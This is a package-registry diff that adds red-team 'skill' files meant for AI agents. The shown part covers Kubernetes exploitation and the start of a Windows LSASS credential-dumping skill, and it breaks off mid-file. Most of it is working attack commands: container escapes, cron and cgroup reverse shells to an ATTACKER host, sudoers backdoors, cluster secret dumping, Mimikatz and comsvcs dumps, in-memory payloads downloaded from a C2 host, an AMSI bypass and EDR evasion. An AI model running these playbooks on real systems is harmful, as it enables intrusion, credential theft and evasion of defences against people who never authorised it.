rtexit-method 0.1.3 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +115 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +147 -0
- package/packaged-assets/.agents/skills/rt-exploit-adcs/SKILL.md +395 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-kubernetes/SKILL.md +377 -0
- package/packaged-assets/.agents/skills/rt-lsass-dumping/SKILL.md +273 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-social-engineering/SKILL.md +401 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-supply-chain/SKILL.md +322 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,377 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-kubernetes
|
|
3
|
+
description: "Kubernetes and container security red team skill. K8s API server enumeration and exploitation, RBAC privilege escalation, service account token abuse, container escape techniques (privileged container, hostPath mount, cap_sys_admin), etcd direct access, image supply chain attacks, and lateral movement between pods/namespaces. Use when engagement scope includes containerized infrastructure or cloud-native environments."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-kubernetes — Kubernetes & Container Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Kubernetes is the dominant container orchestration platform and is increasingly the backbone of cloud-native applications. Misconfigurations in RBAC, network policies, admission controllers, and pod security standards create escalation paths from a single compromised pod to full cluster compromise — and often to the underlying cloud account.
|
|
11
|
+
|
|
12
|
+
**Attack surface:**
|
|
13
|
+
- K8s API server (often exposed, sometimes unauthenticated)
|
|
14
|
+
- Service account tokens (auto-mounted in every pod by default)
|
|
15
|
+
- etcd (cluster state database — contains all secrets)
|
|
16
|
+
- Container runtime (Docker socket, containerd socket)
|
|
17
|
+
- Cloud metadata endpoint (accessible from inside pods)
|
|
18
|
+
- Inter-pod communication (flat network by default)
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Step 1 — Discover Kubernetes Environments
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# From external network
|
|
26
|
+
nmap -sV -p 6443,8443,8080,2379,2380,10250,10255 TARGET_RANGE
|
|
27
|
+
# 6443 = K8s API (TLS)
|
|
28
|
+
# 8080 = K8s API (unauthenticated, older clusters)
|
|
29
|
+
# 10250 = Kubelet API
|
|
30
|
+
# 10255 = Kubelet read-only (deprecated but found in older clusters)
|
|
31
|
+
# 2379 = etcd client port
|
|
32
|
+
# 30000-32767 = NodePort services
|
|
33
|
+
|
|
34
|
+
# Check for unauthenticated API
|
|
35
|
+
curl -sk https://TARGET:6443/api/v1/namespaces
|
|
36
|
+
curl -sk http://TARGET:8080/api/v1/pods
|
|
37
|
+
|
|
38
|
+
# Check for anonymous kubelet access
|
|
39
|
+
curl -sk https://NODE_IP:10250/pods | python3 -m json.tool
|
|
40
|
+
curl http://NODE_IP:10255/pods # read-only (no auth)
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Step 2 — Initial Access (From Inside a Pod)
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# Enumerate from inside a compromised pod
|
|
49
|
+
# Check service account token
|
|
50
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
51
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
|
52
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
53
|
+
|
|
54
|
+
# Set up kubectl with SA token
|
|
55
|
+
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
56
|
+
export APISERVER=https://kubernetes.default.svc
|
|
57
|
+
|
|
58
|
+
# Check what permissions the SA has
|
|
59
|
+
curl -sk $APISERVER/api/v1/namespaces/default/pods \
|
|
60
|
+
-H "Authorization: Bearer $TOKEN"
|
|
61
|
+
|
|
62
|
+
# Install kubectl if not present
|
|
63
|
+
curl -LO "https://dl.k8s.io/release/v1.29.0/bin/linux/amd64/kubectl"
|
|
64
|
+
chmod +x kubectl && mv kubectl /tmp/kubectl
|
|
65
|
+
|
|
66
|
+
/tmp/kubectl auth can-i --list --token=$TOKEN --server=$APISERVER \
|
|
67
|
+
--certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Step 3 — RBAC Enumeration & Privilege Escalation
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
# List all roles and cluster roles
|
|
76
|
+
kubectl get roles --all-namespaces
|
|
77
|
+
kubectl get clusterroles
|
|
78
|
+
kubectl describe clusterrole cluster-admin
|
|
79
|
+
|
|
80
|
+
# Check current permissions
|
|
81
|
+
kubectl auth can-i --list
|
|
82
|
+
kubectl auth can-i create pods
|
|
83
|
+
kubectl auth can-i get secrets --all-namespaces
|
|
84
|
+
|
|
85
|
+
# Find over-privileged service accounts
|
|
86
|
+
kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide | grep -i "cluster-admin\|admin"
|
|
87
|
+
|
|
88
|
+
# Find SAs with dangerous permissions
|
|
89
|
+
# wildcard (*) on resources or verbs = over-privileged
|
|
90
|
+
kubectl get clusterrolebindings -o json | python3 -c "
|
|
91
|
+
import json, sys
|
|
92
|
+
data = json.load(sys.stdin)
|
|
93
|
+
for rb in data['items']:
|
|
94
|
+
for sub in rb.get('subjects', []):
|
|
95
|
+
if sub['kind'] == 'ServiceAccount':
|
|
96
|
+
print(rb['metadata']['name'], '→', sub['name'], 'in', sub.get('namespace','cluster'))
|
|
97
|
+
"
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 3a — Escalation via create pods
|
|
101
|
+
|
|
102
|
+
```yaml
|
|
103
|
+
# If SA can create pods → create privileged pod → escape to node
|
|
104
|
+
# privileged-pod.yaml
|
|
105
|
+
apiVersion: v1
|
|
106
|
+
kind: Pod
|
|
107
|
+
metadata:
|
|
108
|
+
name: privesc-pod
|
|
109
|
+
namespace: default
|
|
110
|
+
spec:
|
|
111
|
+
hostPID: true
|
|
112
|
+
hostNetwork: true
|
|
113
|
+
hostIPC: true
|
|
114
|
+
containers:
|
|
115
|
+
- name: privesc
|
|
116
|
+
image: ubuntu:latest
|
|
117
|
+
command: ["/bin/bash", "-c", "nsenter -t 1 -m -u -i -n -p -- bash"]
|
|
118
|
+
securityContext:
|
|
119
|
+
privileged: true
|
|
120
|
+
volumeMounts:
|
|
121
|
+
- mountPath: /host
|
|
122
|
+
name: host-root
|
|
123
|
+
volumes:
|
|
124
|
+
- name: host-root
|
|
125
|
+
hostPath:
|
|
126
|
+
path: /
|
|
127
|
+
type: Directory
|
|
128
|
+
restartPolicy: Never
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
kubectl apply -f privileged-pod.yaml
|
|
133
|
+
kubectl exec -it privesc-pod -- /bin/bash
|
|
134
|
+
# Now inside: nsenter gives host shell
|
|
135
|
+
# Read /host/etc/shadow, /host/root/.ssh/
|
|
136
|
+
# chroot /host bash → full host access
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
### 3b — Escalation via get/list secrets
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
# Dump all secrets across all namespaces
|
|
143
|
+
kubectl get secrets --all-namespaces -o json | python3 -c "
|
|
144
|
+
import json, sys, base64
|
|
145
|
+
data = json.load(sys.stdin)
|
|
146
|
+
for item in data['items']:
|
|
147
|
+
ns = item['metadata']['namespace']
|
|
148
|
+
name = item['metadata']['name']
|
|
149
|
+
for k, v in item.get('data', {}).items():
|
|
150
|
+
try:
|
|
151
|
+
decoded = base64.b64decode(v).decode()
|
|
152
|
+
print(f'{ns}/{name}/{k}: {decoded}')
|
|
153
|
+
except: pass
|
|
154
|
+
"
|
|
155
|
+
|
|
156
|
+
# Look for:
|
|
157
|
+
# - AWS/GCP/Azure credentials
|
|
158
|
+
# - Database passwords
|
|
159
|
+
# - API keys
|
|
160
|
+
# - TLS private keys
|
|
161
|
+
# - Other SA tokens with higher privileges
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
### 3c — Escalation via impersonate
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# If SA can impersonate users/SAs
|
|
168
|
+
kubectl auth can-i impersonate users
|
|
169
|
+
kubectl auth can-i impersonate serviceaccounts
|
|
170
|
+
|
|
171
|
+
# Impersonate cluster-admin
|
|
172
|
+
kubectl --as=system:admin get nodes
|
|
173
|
+
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Step 4 — Container Escape Techniques
|
|
179
|
+
|
|
180
|
+
### 4a — Privileged Container Escape
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
# Check if running privileged
|
|
184
|
+
cat /proc/1/status | grep CapEff
|
|
185
|
+
# CapEff: 0000003fffffffff = full capabilities = privileged
|
|
186
|
+
|
|
187
|
+
# Mount host filesystem
|
|
188
|
+
mkdir /tmp/host && mount /dev/sda1 /tmp/host
|
|
189
|
+
chroot /tmp/host bash
|
|
190
|
+
# Full host access
|
|
191
|
+
|
|
192
|
+
# Or write SSH key to host
|
|
193
|
+
echo "SSH_PUB_KEY" >> /tmp/host/root/.ssh/authorized_keys
|
|
194
|
+
ssh root@NODE_IP
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
### 4b — hostPath Volume Escape
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# If pod has hostPath volume mounted
|
|
201
|
+
mount | grep host
|
|
202
|
+
ls /host-volume/
|
|
203
|
+
|
|
204
|
+
# Write to host init system
|
|
205
|
+
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" \
|
|
206
|
+
>> /host-volume/etc/cron.d/backdoor
|
|
207
|
+
|
|
208
|
+
# Or overwrite sudoers
|
|
209
|
+
echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /host-volume/etc/sudoers
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### 4c — Docker Socket Escape
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Check for Docker socket
|
|
216
|
+
ls -la /var/run/docker.sock
|
|
217
|
+
# If present and accessible:
|
|
218
|
+
|
|
219
|
+
# Create privileged container with host mount
|
|
220
|
+
docker run -v /:/host --privileged -it ubuntu:latest bash
|
|
221
|
+
chroot /host bash
|
|
222
|
+
# Full host access
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
### 4d — cap_sys_admin Escape
|
|
226
|
+
|
|
227
|
+
```bash
|
|
228
|
+
# Check capabilities
|
|
229
|
+
capsh --print | grep sys_admin
|
|
230
|
+
|
|
231
|
+
# Mount host proc
|
|
232
|
+
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
|
|
233
|
+
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
|
|
234
|
+
|
|
235
|
+
# Notify path payload
|
|
236
|
+
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
237
|
+
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
238
|
+
|
|
239
|
+
# Write reverse shell command
|
|
240
|
+
echo '#!/bin/sh' > /cmd
|
|
241
|
+
echo "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" >> /cmd
|
|
242
|
+
chmod +x /cmd
|
|
243
|
+
|
|
244
|
+
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
245
|
+
# Triggers release_agent → executes on host
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## Step 5 — etcd Direct Access (Cluster Secrets)
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
# If etcd is accessible (often no auth in older clusters)
|
|
254
|
+
# etcd contains ALL K8s objects including secrets
|
|
255
|
+
|
|
256
|
+
# Check access
|
|
257
|
+
curl http://ETCD_IP:2379/v2/keys/
|
|
258
|
+
etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only | head -50
|
|
259
|
+
|
|
260
|
+
# Dump all secrets
|
|
261
|
+
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix | strings | grep -A2 "password\|token\|key"
|
|
262
|
+
|
|
263
|
+
# With TLS (if you have certs from compromised node)
|
|
264
|
+
etcdctl --endpoints=https://ETCD_IP:2379 \
|
|
265
|
+
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
|
|
266
|
+
--cert=/etc/kubernetes/pki/etcd/server.crt \
|
|
267
|
+
--key=/etc/kubernetes/pki/etcd/server.key \
|
|
268
|
+
get /registry/secrets --prefix | strings
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Step 6 — Lateral Movement Between Pods/Namespaces
|
|
274
|
+
|
|
275
|
+
```bash
|
|
276
|
+
# Scan internal K8s network
|
|
277
|
+
# K8s service DNS: <service>.<namespace>.svc.cluster.local
|
|
278
|
+
|
|
279
|
+
# From inside pod — scan other services
|
|
280
|
+
for ns in default kube-system production staging; do
|
|
281
|
+
kubectl get svc -n $ns 2>/dev/null
|
|
282
|
+
done
|
|
283
|
+
|
|
284
|
+
# Network scan (if nmap available)
|
|
285
|
+
nmap -sV 10.96.0.0/12 -p 80,443,3306,5432,6379,27017,9200
|
|
286
|
+
|
|
287
|
+
# DNS enumeration
|
|
288
|
+
for svc in $(kubectl get svc --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} {end}'); do
|
|
289
|
+
echo $svc
|
|
290
|
+
done
|
|
291
|
+
|
|
292
|
+
# Steal tokens from other pods (if node access)
|
|
293
|
+
for pod in /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/kube-api-access-*/token; do
|
|
294
|
+
echo "=== $pod ==="
|
|
295
|
+
cat $pod
|
|
296
|
+
done
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Step 7 — Cloud Metadata from Inside Pods
|
|
302
|
+
|
|
303
|
+
```bash
|
|
304
|
+
# AWS EKS
|
|
305
|
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
306
|
+
# Get EC2 instance role credentials
|
|
307
|
+
|
|
308
|
+
# GKE (Google)
|
|
309
|
+
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
|
310
|
+
|
|
311
|
+
# AKS (Azure)
|
|
312
|
+
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"
|
|
313
|
+
|
|
314
|
+
# EKS IRSA (IAM Roles for Service Accounts)
|
|
315
|
+
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
|
316
|
+
AWS_ROLE_ARN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
|
|
317
|
+
aws sts assume-role-with-web-identity \
|
|
318
|
+
--role-arn $AWS_ROLE_ARN \
|
|
319
|
+
--web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token \
|
|
320
|
+
--role-session-name exploit
|
|
321
|
+
```
|
|
322
|
+
|
|
323
|
+
---
|
|
324
|
+
|
|
325
|
+
## Automated Tools
|
|
326
|
+
|
|
327
|
+
```bash
|
|
328
|
+
# Kube-hunter — automated K8s vulnerability scanner
|
|
329
|
+
pip3 install kube-hunter
|
|
330
|
+
kube-hunter --remote TARGET_IP
|
|
331
|
+
kube-hunter --pod # run from inside a pod
|
|
332
|
+
|
|
333
|
+
# Peirates — K8s exploitation framework
|
|
334
|
+
git clone https://github.com/inguardians/peirates
|
|
335
|
+
./peirates # interactive menu
|
|
336
|
+
|
|
337
|
+
# KubeAudit — misconfiguration scanner
|
|
338
|
+
kubeaudit all
|
|
339
|
+
|
|
340
|
+
# Trivy — image vulnerability scanner
|
|
341
|
+
trivy image target-app:latest
|
|
342
|
+
```
|
|
343
|
+
|
|
344
|
+
---
|
|
345
|
+
|
|
346
|
+
## Skill Levels
|
|
347
|
+
|
|
348
|
+
**BEGINNER:**
|
|
349
|
+
- kube-hunter external scan
|
|
350
|
+
- kubectl auth can-i --list (check SA permissions)
|
|
351
|
+
- Dump secrets if get/list permitted
|
|
352
|
+
|
|
353
|
+
**INTERMEDIATE:**
|
|
354
|
+
- Privileged pod escape via hostPath or Docker socket
|
|
355
|
+
- RBAC escalation via create pods
|
|
356
|
+
- Lateral movement via service account token theft
|
|
357
|
+
|
|
358
|
+
**ADVANCED:**
|
|
359
|
+
- etcd direct access and secret extraction
|
|
360
|
+
- cap_sys_admin / cgroup escape
|
|
361
|
+
- Cloud metadata chaining (EKS → AWS IAM role)
|
|
362
|
+
|
|
363
|
+
**EXPERT:**
|
|
364
|
+
- Supply chain: compromise container registry → inject malicious image
|
|
365
|
+
- Admission controller bypass
|
|
366
|
+
- Custom resource definition abuse
|
|
367
|
+
- Cross-cluster attacks via kubeconfig theft
|
|
368
|
+
|
|
369
|
+
---
|
|
370
|
+
|
|
371
|
+
## References
|
|
372
|
+
|
|
373
|
+
- HackTricks K8s: https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes
|
|
374
|
+
- Peirates: https://github.com/inguardians/peirates
|
|
375
|
+
- kube-hunter: https://github.com/aquasecurity/kube-hunter
|
|
376
|
+
- MITRE ATT&CK for Containers: https://attack.mitre.org/matrices/enterprise/containers/
|
|
377
|
+
- Bad Pods: https://github.com/BishopFox/badPods
|
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-lsass-dumping
|
|
3
|
+
description: "LSASS credential dumping skill for authorized Windows engagements. In-process techniques (no disk write), Mimikatz sekurlsa, comsvcs.dll MiniDump, procdump.exe, Credential Guard bypass, LSASS PPL bypass, remote LSASS dump via impacket, SilentProcessExit dump trick, and EDR evasion approaches. Use when you have local admin or SYSTEM on a Windows host and need to extract cached credentials."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-lsass-dumping — Windows LSASS Credential Extraction
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
LSASS (Local Security Authority Subsystem Service) stores credential material in memory for SSO — NTLM hashes, Kerberos tickets, and cleartext passwords (in older configurations). Dumping LSASS is the primary credential harvesting technique in Windows environments and is performed by nearly every red team operator after gaining local admin.
|
|
11
|
+
|
|
12
|
+
**What you get:**
|
|
13
|
+
- NTLM hashes → Pass-the-Hash, crack offline
|
|
14
|
+
- Kerberos TGTs → Pass-the-Ticket
|
|
15
|
+
- Cleartext passwords (WDigest, if enabled on older Windows)
|
|
16
|
+
- DPAPI master keys
|
|
17
|
+
- Cached domain credentials
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Prerequisites
|
|
22
|
+
|
|
23
|
+
- Local Administrator or SYSTEM on target Windows host
|
|
24
|
+
- If Credential Guard is active: need to use alternative techniques
|
|
25
|
+
- If PPL is enabled on LSASS: need PPL bypass first
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Check 1 — Is Credential Guard Active?
|
|
30
|
+
|
|
31
|
+
```powershell
|
|
32
|
+
# Check if Credential Guard is running (blocks most LSASS dump techniques)
|
|
33
|
+
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object -ExpandProperty SecurityServicesRunning
|
|
34
|
+
# 0 = none, 1 = Credential Guard, 2 = HVCI
|
|
35
|
+
|
|
36
|
+
# Alternative check
|
|
37
|
+
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
|
|
38
|
+
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags
|
|
39
|
+
|
|
40
|
+
# If Credential Guard active: NTLM hashes NOT available from LSASS
|
|
41
|
+
# Use alternatives: Kerberoasting, ADCS, SAM dump, DPAPI
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Method 1 — Mimikatz (Classic)
|
|
47
|
+
|
|
48
|
+
```powershell
|
|
49
|
+
# Requires admin/SYSTEM + SeDebugPrivilege
|
|
50
|
+
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|
|
51
|
+
|
|
52
|
+
# Output:
|
|
53
|
+
# Authentication Id : 0 ; 123456 (00000000:0001e240)
|
|
54
|
+
# Session : Interactive from 1
|
|
55
|
+
# User Name : john.smith
|
|
56
|
+
# Domain : CORP
|
|
57
|
+
# NTLM : fc525c9683e8fe067095ba2ddc971889
|
|
58
|
+
# Password : (null) or cleartext if WDigest
|
|
59
|
+
|
|
60
|
+
# Kerberos tickets only
|
|
61
|
+
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
|
|
62
|
+
|
|
63
|
+
# DPAPI master keys
|
|
64
|
+
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
|
|
65
|
+
|
|
66
|
+
# In-memory execution (no disk write — evades file-based AV)
|
|
67
|
+
# Load via reflection in PowerShell or C# → see Method 5
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Method 2 — comsvcs.dll MiniDump (Built-in Windows)
|
|
73
|
+
|
|
74
|
+
```powershell
|
|
75
|
+
# No external tools needed — uses Windows built-in DLL
|
|
76
|
+
# Requires: admin, SYSTEM, or SeDebugPrivilege
|
|
77
|
+
|
|
78
|
+
# Get LSASS PID
|
|
79
|
+
Get-Process lsass | Select-Object Id
|
|
80
|
+
# Or: tasklist | findstr lsass
|
|
81
|
+
|
|
82
|
+
# Create minidump
|
|
83
|
+
$lsassPid = (Get-Process lsass).Id
|
|
84
|
+
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full
|
|
85
|
+
|
|
86
|
+
# Exfil and parse locally with Mimikatz
|
|
87
|
+
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
|
|
88
|
+
# Or: pypykatz lsa minidump lsass.dmp
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Method 3 — Task Manager / ProcDump (Simple)
|
|
94
|
+
|
|
95
|
+
```powershell
|
|
96
|
+
# ProcDump (SysInternals — signed Microsoft binary, less detected)
|
|
97
|
+
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
|
98
|
+
|
|
99
|
+
# Task Manager (if GUI access)
|
|
100
|
+
# Task Manager → Details → Right-click lsass.exe → Create dump file
|
|
101
|
+
# Saves to: C:\Users\USER\AppData\Local\Temp\lsass.DMP
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## Method 4 — SilentProcessExit Dump Trick (EDR Evasion)
|
|
107
|
+
|
|
108
|
+
```powershell
|
|
109
|
+
# Abuse Windows Error Reporting to dump LSASS without opening a handle to it
|
|
110
|
+
# Harder for EDRs to detect — different call path
|
|
111
|
+
|
|
112
|
+
# Register SilentProcessExit handler for LSASS
|
|
113
|
+
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe"
|
|
114
|
+
New-Item -Path $regPath -Force
|
|
115
|
+
Set-ItemProperty -Path $regPath -Name "ReportingMode" -Value 1
|
|
116
|
+
Set-ItemProperty -Path $regPath -Name "MonitorProcess" -Value "C:\Windows\System32\taskhost.exe"
|
|
117
|
+
|
|
118
|
+
# Trigger WER dump by sending signal to LSASS
|
|
119
|
+
# Dump created in: C:\Users\USER\AppData\Local\CrashDumps\
|
|
120
|
+
# Note: Requires SYSTEM or specific privileges
|
|
121
|
+
|
|
122
|
+
# Cleanup
|
|
123
|
+
Remove-Item -Path $regPath -Force
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
---
|
|
127
|
+
|
|
128
|
+
## Method 5 — In-Memory / Reflective Loading (EDR Evasion)
|
|
129
|
+
|
|
130
|
+
```powershell
|
|
131
|
+
# Load Mimikatz entirely in memory via PowerShell reflection
|
|
132
|
+
# No binary touches disk
|
|
133
|
+
|
|
134
|
+
# Using Invoke-Mimikatz (PowerSploit)
|
|
135
|
+
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-Mimikatz.ps1')
|
|
136
|
+
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
|
|
137
|
+
|
|
138
|
+
# Using SharpKatz (C# port) loaded via reflection
|
|
139
|
+
$bytes = (Invoke-WebRequest http://C2/SharpKatz.exe -UseBasicParsing).Content
|
|
140
|
+
$assembly = [System.Reflection.Assembly]::Load($bytes)
|
|
141
|
+
[SharpKatz.Program]::Main(@("--Command", "logonpasswords"))
|
|
142
|
+
|
|
143
|
+
# AMSI bypass first (see rt-defense-evasion)
|
|
144
|
+
[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Method 6 — Remote LSASS Dump (From Attack Machine)
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
# Impacket secretsdump — no agent on target needed
|
|
153
|
+
# Requires: domain creds + SMB/RPC access to target
|
|
154
|
+
|
|
155
|
+
# With password
|
|
156
|
+
impacket-secretsdump corp.local/admin:Password1@10.10.10.50
|
|
157
|
+
|
|
158
|
+
# With NTLM hash (PTH)
|
|
159
|
+
impacket-secretsdump -hashes :fc525c9683e8fe067095ba2ddc971889 corp.local/admin@10.10.10.50
|
|
160
|
+
|
|
161
|
+
# With Kerberos ticket
|
|
162
|
+
export KRB5CCNAME=/tmp/admin.ccache
|
|
163
|
+
impacket-secretsdump -k -no-pass corp.local/admin@dc.corp.local
|
|
164
|
+
|
|
165
|
+
# Output:
|
|
166
|
+
# [*] Dumping local SAM hashes
|
|
167
|
+
# Administrator:500:aad3b435...:fc525c96...
|
|
168
|
+
# [*] Dumping LSA Secrets
|
|
169
|
+
# [*] Dumping Domain Credentials
|
|
170
|
+
# corp.local\Administrator:$DCC2$...
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## Method 7 — PPL Bypass (Protected Process Light)
|
|
176
|
+
|
|
177
|
+
```powershell
|
|
178
|
+
# Modern Windows enables LSASS as PPL — blocks direct handle opening
|
|
179
|
+
# Check if PPL is enabled
|
|
180
|
+
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" RunAsPPL
|
|
181
|
+
# 1 = PPL enabled
|
|
182
|
+
|
|
183
|
+
# PPL bypass with PPLdump (kernel driver technique — noisy)
|
|
184
|
+
.\PPLdump64.exe lsass.exe lsass.dmp
|
|
185
|
+
|
|
186
|
+
# PPL bypass with Mimidrv (Mimikatz kernel driver)
|
|
187
|
+
mimikatz.exe "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "sekurlsa::logonpasswords" "!-" exit
|
|
188
|
+
# Loads mimidrv.sys driver → removes PPL → dumps → re-enables
|
|
189
|
+
|
|
190
|
+
# Note: kernel driver techniques trigger AV/EDR — use with evasion or in controlled test
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
## Method 8 — Handle Duplication (Indirect LSASS Access)
|
|
196
|
+
|
|
197
|
+
```powershell
|
|
198
|
+
# Some EDRs watch OpenProcess() calls to LSASS
|
|
199
|
+
# Duplicate handle from a process that already has a handle to LSASS
|
|
200
|
+
# e.g., AV/EDR processes themselves often have LSASS handles
|
|
201
|
+
|
|
202
|
+
# Nanodump — handles this automatically
|
|
203
|
+
# github.com/fortra/nanodump
|
|
204
|
+
.\nanodump.exe --write C:\Windows\Temp\lsass.dmp --duplicate
|
|
205
|
+
|
|
206
|
+
# Parse dump
|
|
207
|
+
pypykatz lsa minidump C:\Windows\Temp\lsass.dmp
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Parse Dumps Offline (Linux)
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# pypykatz — parse LSASS dumps on Linux
|
|
216
|
+
pip3 install pypykatz
|
|
217
|
+
|
|
218
|
+
pypykatz lsa minidump lsass.dmp
|
|
219
|
+
pypykatz lsa minidump lsass.dmp -o results.json
|
|
220
|
+
|
|
221
|
+
# Extract specific credential types
|
|
222
|
+
